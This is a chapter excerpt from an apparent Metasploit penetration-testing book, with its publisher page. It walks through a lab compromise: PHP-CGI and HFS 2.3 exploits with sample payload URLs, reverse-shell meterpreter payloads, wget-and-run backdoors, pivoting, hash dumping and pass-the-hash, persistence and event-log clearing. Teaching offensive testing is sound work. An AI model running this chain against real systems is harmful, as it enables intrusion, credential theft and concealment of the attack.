Vulnerability analysis of PHP-CGI query string parameter vulnerability


This vulnerability is associated with CVE id 2012-1823, which is the PHP-CGI query string parameter vulnerability. According to the PHP site, when PHP is used in a CGI-based setup (such as Apache's mod_cgid), php-cgi receives a processed query string parameter as command-line argument, which allows command-line switches, such as -s, -d or -c, to be passed to the php-cgi binary, which can be exploited to disclose source code and obtain arbitrary code execution. Therefore, a remote unauthenticated attacker could obtain sensitive information, cause a DoS condition, or may be able to execute arbitrary code with the privileges of the web server.

A common example of this vulnerability will allow disclosure of source code when the following URL is visited: http://localhost/index.php?-s.

Note

For more information on the exploit, refer to https://www.rapid7.com/db/modules/exploit/multi/http/php_cgi_arg_injection/.

Exploitation and post exploitation

Gathering knowledge about the vulnerability, let's try to find the matching Metasploit module in order to exploit the vulnerability:

We can see that we have found the matching exploit from the list of matching modules, as follows:

Let us now try exploiting the vulnerability by loading the matching module in Metasploit, as follows:

We need to set all the required values for the exploit module, as follows:

We can find all the useful payloads that we can use with the exploit module by issuing the show payloads command, as follows:

On the preceding screen, we can see quite a large number of payloads. However, let us set the php/meterpreter/reverse_tcp payload as it provides better options and flexibility than the generic/shell_bind_tcp payload:

Finally, let us assign our local IP address to LHOST as follows:

We are now all set to exploit the vulnerable server. Let's issue the exploit command:

Bingo! We got the access to the internal system running on 192.168.20.4. Let's run a few post exploitation commands such as getwd, which will print the current directory and is similar to the pwd command. The getuid command will print the current user we got access to, and the shell command will spawn a command-line shell on the target system.

Once we drop into the shell, we can run system commands such as uname -a to find out the kernel version, and can also use wget andchmod and execute commands to spawn a similar meterpreter shell as we did on the first system. Running these commands will generate output similar to what is shown in the following screenshot:

Download the same backdoor.elf file onto this server by issuing a wget command or using the download command from meterpreter in order to gain a better quality of access through the PHP meterpreter. This is an important step because say if we need to figure out the ARP details of this host, we won't be able to do that using a PHP meterpreter. Therefore, we need a better access mechanism.

Executing the backdoor.elf file on this machine will provide meterpreter access as follows:

Running the exploit handler on a separate terminal and waiting for the incoming connection, we get the following output as soon as the backdoor.elf file gets executed and connects to our system:

Boom! We made it to the second machine as well. Let's now figure out its ARP details and discover more systems, if any, on the network as follows:

We can see one more system with the IP address 192.168.20.6 on the internal network. However, we do not need to add a route to this machine since the first machine already has a route to the network. Therefore, we just need to switch back to the Metasploit console. Up to this point, we have three meterpreter sessions, as shown in this screenshot:

Since we already have a route to the network of the newly found host, let us perform a TCP scan over the 192.168.20.6 target system using the auxiliary/scanner/portscan/tcp module as follows:

We can see that we have few open ports. We can individually scan popular ports with their relevant modules using Metasploit. Let us scan the HTTP ports 80 and 8080 with the auxiliary/scanner/http/http_header auxiliary module to find what services are running on them as follows:

We can see from the preceding screenshot that we have the latest IIS 8.5 running on port 80, which is a bit difficult to exploit since it doesn't have any high-risk vulnerabilities. However, we have HFS 2.3 running on port 8080, which is prone to a known Remote Code Execution flaw.

 

Vulnerability analysis of HFS 2.3


According to the CVE details for this vulnerability (CVE-2014-6287), the findMacroMarker function in parserLib.pas in Rejetto HTTP File Server (otherwise known as HFS or HttpFileServer) 2.3x (in versions prior to 2.3c) allows remote attackers to execute arbitrary programs via a %00 sequence in a search action.

Here is the vulnerable function:

function findMacroMarker(s:string; ofs:integer=1):integer;
 begin result:=reMatch(s, '\{[.:]|[.:]\}|\|', 'm!', ofs) end;

The function will not handle a null byte safely, so a request to http://localhost:80/search=%00{.exec|cmd.} will stop regex from parsing the macro, and remote code injection will happen.

Exploitation and post exploitation

Let us find the relevant exploit module via the search command in Metasploit in order to load the exploit for the HFS 2.3 server:

We can see we have the exploit/windows/http/rejetto_hfs_exec module matching the vulnerable target. Let's load this module using the use command and set the RHOST option to the IP address of the target and RPORT to 8080. We must also configure the payload as windows/meterpreter/reverse_tcp and set HOST to our IP address and LPORT to 4444 (or anything usable). Once all the options have been configured, let's see if everything is set properly by issuing the show options command as follows:

We can see that we have everything set on our module and we are good to exploit the system using the exploit command, as follows:

Bingo! We breached the server, and we are inside it. Let us perform some post exploitation tasks as follows:

We successfully gained access to a Windows Server 2012 box with Administrator privileges. Let us issue the getsystem command and escalate the privileges to system level. We can see in the preceding screenshot that the privileges are now changed to SYSTEM.

Let's explore more and run some basic post exploitation commands, such as getpid and ps, which are used to gather the list of running processes. The getpid command is used to print the process ID in which meterpreter resides, as shown in the following screenshot:

We can see that we have the process ID 2036, which corresponds to eIJDRPTHQ.exe. Therefore, if an administrator kills this particular process, our meterpreter session is gone. We must escalate our access to a better process, which should evade the eyes of the administrator. The explorer.exe process is a good option. We will migrate to explorer.exe, the main process on Windows-based distributions, as follows:

Once migrated, we can check the current process ID by issuing the getpid command as shown in the preceding screenshot. We can gather password hashes from the compromised system using the hashdump command, which can be seen in the following screenshot:

After gathering the hashes, we can always execute a pass-the-hash attack and bypass the limitation of not having a plain text password.

Note

Refer to http://www.cvedetails.com/vendor/26/Microsoft.html for more information on various vulnerabilities in Windows based operating systems. Refer to http://www.cvedetails.com/top-50-vendors.php?year=0 for more information on vulnerabilities in the top 50 vendors in the world.

 

Maintaining access


Maintaining access is crucial because we might need to interact with the hacked system repeatedly. Therefore, in order to achieve persistent access, we can add a new user to the hacked system, or we can use the persistence module from Metasploit.

Running the persistence module will make the access to the target system permanent by installing a permanent backdoor to it. Therefore, if the vulnerability patches, we can still maintain access to that target system, as shown in the following screenshot:

Running the persistence module will upload and execute a malicious .vbs script on the target. The execution of this malicious script will cause a connection attempt to be made to the attacker's system with a gap of every few seconds. This process will also be installed as a service and is added to the startup programs list. So, no matter how many times the target system boots, the service will be installed permanently. Hence, its effect remains intact unless the service is uninstalled or removed manually.

In order to connect to this malicious service at the target and regain access, we need to set up exploit/multi/handler. A handler is a universal exploit handler used to handle incoming connections initiated by the executed payloads at the target machine. To use an exploit handler, we need to issue commands from the Metasploit framework's console, as shown in the following screenshot:

A key point here is that we need to set the same payload and the same LPORT option that we used while running the persistence module.

After issuing the exploit command, the handler starts to wait for the connection to be made from the target system. As soon as an incoming connection is detected, we are presented with the meterpreter shell.

Information on meterpreter backdoors using metsvc can be found at https://www.offensive-security.com/metasploit-unleashed/meterpreter-backdoor/.

 

Clearing tracks


After a successful breach of the target system, it is advisable to clear every track of our presence. However, during a sanctioned penetration test, it is not advisable to clear logs and tracks because blue teams can leverage these log entries to improve their defenses while figuring out how the tester made it through to the system. Therefore, only backdoors or executables should be removed. Nevertheless, we must learn how we can clear tracks. In order to achieve this, we need to clear the event logs. We can clear them with the event manager module as follows:

We can see we have a large number of logs present. Let's clear them using the -c switch as follows:

At this point, we end up with the penetration testing process for the target network environment and can continue with the report generation process. In the preceding test, we focused on a single vulnerability per system only, just for the sake of learning. However, we must test all the vulnerabilities to verify all the potential vulnerabilities in the target system.

We can also remove event logs by issuing the clearev command from the meterpreter shell.

 

Revising the approach


Let us summarize the entire penetration test step by step:

  1. In the very first step, we did an NMAP scan over the target.

  2. We found that VSFTPD 2.3.4 is running on port 21 and is vulnerable to attack.

  3. We exploited VSFTPD 2.3.5 running on port 21.

  4. We got the shell access to the target running at 192.168.10.112.

  5. We created a Linux meterpreter shell and copied it to the /var/www directory of Apache. Next, we ran the wget command from the shell and downloaded our newly created meterpreter shell onto the target.

  6. We assigned full privileges to the shell backdoor file via chmod 777 backdoor.elf.

  7. Setting up an exploit handler in a separate window, which is listening on port 4444, we ran the backdoor.elf file on the target.

  8. We got the Linux meterpreter access on the target system, which is 192.168.10.112.

  9. Running the arp command on the compromised system, we found that it was internally connected to a separate network and is connected to another system running on an internal IP address, 192.168.20.4.

  10. We quickly set up an autoroute to the 192.168.20.0/24 network via our meterpreter shell on 192.168.10.112.

  11. Pivoting all the traffic through our meterpreter, we performed a TCP port scan on the target and service identification modules.

  12. We found that target was running vulnerable version of PHP on port 80.

  13. We exploited the system with PHP CGI Argument Injection Vulnerability.

  14. We gained PHP meterpreter access to the internal system of the network running at 192.168.20.4.

  15. We performed similar steps as done previously on the first system, by uploading and executing the backdoor.elf file.

  16. We got Linux meterpreter access to the target.

  17. We ran the arp command to find if there were any other hosts present on the network.

  18. We figured out that there was one more system running on IP address 192.168.20.6 and we performed a TCP port scan.

  19. Scanning all the ports, we figured out that HFS 2.3 was running on port 8080 and was vulnerable to the Remote Command Execution vulnerability.

  20. We exploited the system with the HFS exploit module with Metasploit.

  21. We got the Windows meterpreter access to the target.

  22. We ran a persistence module to maintain access to the target.

  23. The persistence module will try to establish a connection to our system after every few seconds and will open meterpreter access as soon as a handler is up.

  24. We cleared the logs via the event_manager module from meterpreter.

 

Summary


Throughout this chapter, we have introduced the phases involved in penetration testing. We have also seen how we can set up Metasploit and conduct a black box test on the network. We recalled the basic functionalities of Metasploit as well. We saw how we could perform a penetration test on two different Linux boxes and Windows Server 2012. We also looked at the benefits of using databases in Metasploit.

After completing this chapter, we are equipped with the following:

  • Knowledge of the phases of a penetration test

  • The benefits of using databases in Metasploit

  • The basics of the Metasploit framework

  • Knowledge of the workings of exploits and auxiliary modules

  • Knowledge of the approach to penetration testing with Metasploit

The primary goal of this chapter was to inform you about penetration test phases and Metasploit. This chapter focused entirely on preparing ourselves for the next chapters.

In the next chapter, we will cover a technique that is a little more difficult, that is, scripting the components of Metasploit. We will dive into the coding part of Metasploit and write our custom functionalities to the Metasploit framework.

About the Author

  • Nipun Jaswal

    Nipun Jaswal is an international cybersecurity author and an award-winning IT security researcher with more than a decade of experience in penetration testing, Red Team assessments, vulnerability research, RF, and wireless hacking. He is presently the Director of Cybersecurity Practices at BDO India. Nipun has trained and worked with multiple law enforcement agencies on vulnerability research and exploit development. He has also authored numerous articles and exploits that can be found on popular security databases, such as PacketStorm and exploit-db. Please feel free to contact him at @nipunjaswal.

    Browse publications by this author

Latest Reviews

(6 reviews total)
Great book👍 learned quite alot
Beer1! Beer2! Beer3! Beer4!
A good starting point to the MEtasploit tools set.
Book Title
Access this book, plus 7,500 other titles for FREE
Access now